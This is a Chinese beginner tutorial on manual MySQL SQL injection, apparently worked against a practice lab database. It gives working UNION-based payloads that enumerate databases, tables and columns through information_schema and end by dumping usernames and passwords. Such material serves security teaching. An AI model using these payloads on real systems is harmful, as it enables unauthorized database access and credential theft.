1. 程式人生 > 其它 >新手科普 | MySQL手工注入之基本注入流程

新手科普 | MySQL手工注入之基本注入流程

MySQL手工注入的基本步驟以及一些技巧的記錄,當出現學習手工注入的時候,網上的文章參差不齊,導致很長一段時間對手工注入的理解一直處於一知半解的狀態,特此記錄本文,讓小白們少走些彎路。本文只針對手工注入小白,大牛繞過輕噴。

步驟

註釋或者閉合語句

首先看下一個基本的SQL語句查詢原始碼:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

下面的步驟預設都是採用這種基本的SQL語句的,其他的注入方法換湯不換藥,這裡只是想整理下注入的步驟與關鍵性的語句。

引號閉合語句

id =1 ' and '1' ='1

帶入進原始碼中的SQL語句就是:

SELECT * FROM users WHERE id='1 ' and '1' ='1' LIMIT 0,1

註釋後面語句

常用的註釋payload

or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
--+ 可以用#替換,url 提交過程中 Url 編碼後的#為%23

帶入進原始碼中的SQL語句就是:

SELECT * FROM users WHERE id=''or 1=1--+' LIMIT 0,1

這樣可以看出直接把後面的語句都給註釋掉了,一般實戰用註釋比較多。

and 驗證

當然這裡 and 驗證和 or 驗證都可以,二者區別不大:頁面返回正常

?id=1' and 1=1 --+ 
?id=1' or 1=2 --+

頁面返回異常

?id=1' and 1=2 --+
?id=1' or 1=1 --+

如果發現一開始頁面先是正常然後是異常的話,說明頁面啊存在注入。當然這裡是最基本的判斷方法,到後面盲注的時候是用延時函式來觀察頁面的返回時間的。

查詢欄位數目

查詢欄位數目主要利用MySQL裡面的 order by 來判斷欄位數目,order by一般採用數學中的對半查詢來判斷具體的欄位數目,這樣效率會很高,下面假設用 order by 來判斷一個未知欄位的注入。

?id=1’ order by 1 —+ 此時頁面正常,繼續換更大的數字測試?id=1’ order by 10 —+ 此時頁面返回錯誤,更換小的數字測試?id=1’ order by 5 —+ 此時頁面依然報錯,繼續縮小數值測試?id=1’ order by 3 —+ 此時頁面返回正常,更換大的數字測試?id=1’ order by 4 —+ 此時頁面返回錯誤,3正常,4錯誤,說明欄位數目就是 3

通過數學的對半查詢,確定欄位數目。

聯合查詢

UNION SELECT 聯合查詢,手工注入經典語句,作用是在後面通過UNION把我們的惡意注入語句接上去,帶入資料庫進行查詢。因為欄位數目是:3,那麼正規的語句如下:

?id=1' UNION SELECT 1,2,3 --+

這裡頁面是不會報錯的,此時我們帶入資料庫的語句為:

SELECT 1,2,3 這段語句沒有任何意義,所以頁面按返回正常。

但是為了資訊收集,我們得知道當前這個頁面裡面的值,呼叫的具體是資料庫中的哪個欄位才可以,可以故意構造一個錯誤的語句,來爆出錯誤的欄位:

id=-1’ UNION SELECT 1,2,3 —+ 通過id=-1 一個負數不存在的id值來觸發報錯id=1’ and 1=2 UNION SELECT 1,2,3 —+ 通過and 1=2 語句來觸發報錯id=1’ or 1=1 UNION SELECT 1,2,3 —+ 通過or 1=1 語句來觸發報錯

可以看出爆出了具體的欄位號了,這裡爆出了23進MySQL資料庫看下這個表的欄位結構:

資料庫表的結構完美驗證了本次爆錯出先的數字23,這裡的數字代表欄位,恰巧對應的欄位值是:usernamepassword

收集資訊

在爆出的欄位值裡面可以替換為我們的惡意語句,前期主要是收集資訊,包括判斷當前資料庫是否是root使用者,MySQL的版本等,一般收集這些資訊常用一些MySQL自帶的函式去收集資訊:MySQL常用的系統函式

version()            #MySQL版本
user()               #資料庫使用者名稱
database()           #資料庫名
@@datadir            #資料庫路徑
@@version_compile_os #作業系統版本

查詢當前資料庫名

id=1' and 1=2 UNION SELECT 1,database(),3 --+

查詢MySQL版本

id=1' and 1=2 UNION SELECT 1,2,version() --+

查詢資料庫使用者和路徑

id=1' and 1=2 UNION SELECT 1,user(),@@datadir --+

查詢資料庫

查詢資料庫,一般來說我們注入的時候要查的就是當前的資料庫,但有時候root許可權就NB了還可以看到網站資料庫之外的資料庫內容。查詢當前資料庫

id=1' and 1=2 UNION SELECT 1,2,database() --+

拿到當前的資料庫名稱為:security查詢所有資料庫有時候忍不住想看下其他的資料庫的內容,可以用這個語句查詢所有的資料庫:

id=1' and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+

這裡用到了group_concat函式,由於本篇文章的定位是 手工注入的步驟 這裡不在這裡進行細化的講解此類函式的用法。瞭解相關函式的話參考我的另一篇文章:MySQL 手工注入之常見字串函式

查詢表名

database 查詢資料庫

id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

單引號-資料庫

這裡的database()函式進行了資料庫查詢,因為我們已經查到了當前的資料庫為security,所有這裡還可以醬紫寫,用單引號括把資料庫的名稱括起來'security':

id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

hex編碼資料庫

如果嫌單引號括起來麻煩的話,那麼巧了!這裡還有一個更麻煩的方法,就是將資料庫名進行hex編碼處理。使用火狐自帶的HackBar外掛可以快速的進行hex編碼:

hex編碼後在前面加上0x表明這裡是16進位制編碼。

目前主流的集中方法大致就是這樣,還有一些先hex然後unhex group_concat的寫法,據說可以繞waf類的,這裡不是很常用就不再贅述了。 同理這些方法放到查詢資料庫的列名中也是可以使用的,要學會活學活用。

查詢列名

目前收集到的資訊為:

資料庫名稱: securuty資料庫表名: emails,referers,uagents,users

做為一名黑客一定要有敏銳的嗅覺(手動dog),這幾個表中 一般我們都會去 繼續猜解users表。下面用和查詢資料庫類似的方法去查詢列名,關於原理的話 就是 MySQL下有一個information_schema裡面會存所有資料庫的一些相關資訊:

既然都說到這裡了,這裡就順便列舉一下MySQL手工注入中,比較關鍵的information_schema裡的資訊:

記錄關於資料庫的資訊

information_schema 資料庫下的 schemata表中的schema_name記錄的是各個資料庫的名稱:

不僅這裡記錄了在 tables資料庫下的table_schema表也記錄了各個資料庫的名稱:

記錄關於資料表的資訊

information_schema 資料庫下的 tables表中的table_name記錄的是各個資料表的名稱:

這裡是華麗的分割線,吃驚,一眨眼說不拓展的有忍不住扯了這麼多,下面不多說直接來查詢users表下的列名

id=1' and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

查詢欄位值

由於在查詢列名那裡囉嗦的有點多,核心原理已經寫在上面了,這裡就簡單的寫出payload,:

id=1' and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users --+

知道了資料庫、表名、各個欄位名可以直接進行查詢了,不需藉助information_schanem資料庫了。

簡短的整理

本來是打算前面步驟中規中矩的寫的,但還是忍不住寫多了。於是又開出一個標題進行簡短的整理:

order by —+ 判斷欄位數目 union select —+ 聯合查詢收集資訊 id=1’ and 1=2 UNION SELECT 1,2,database() —+ 查詢當前資料庫 id=1’ and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata —+查詢所有資料庫 id=1’ and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() —+ 查詢表名 id=1’ and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’ —+ 查詢列名 id=1’ and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users —+ 查詢欄位值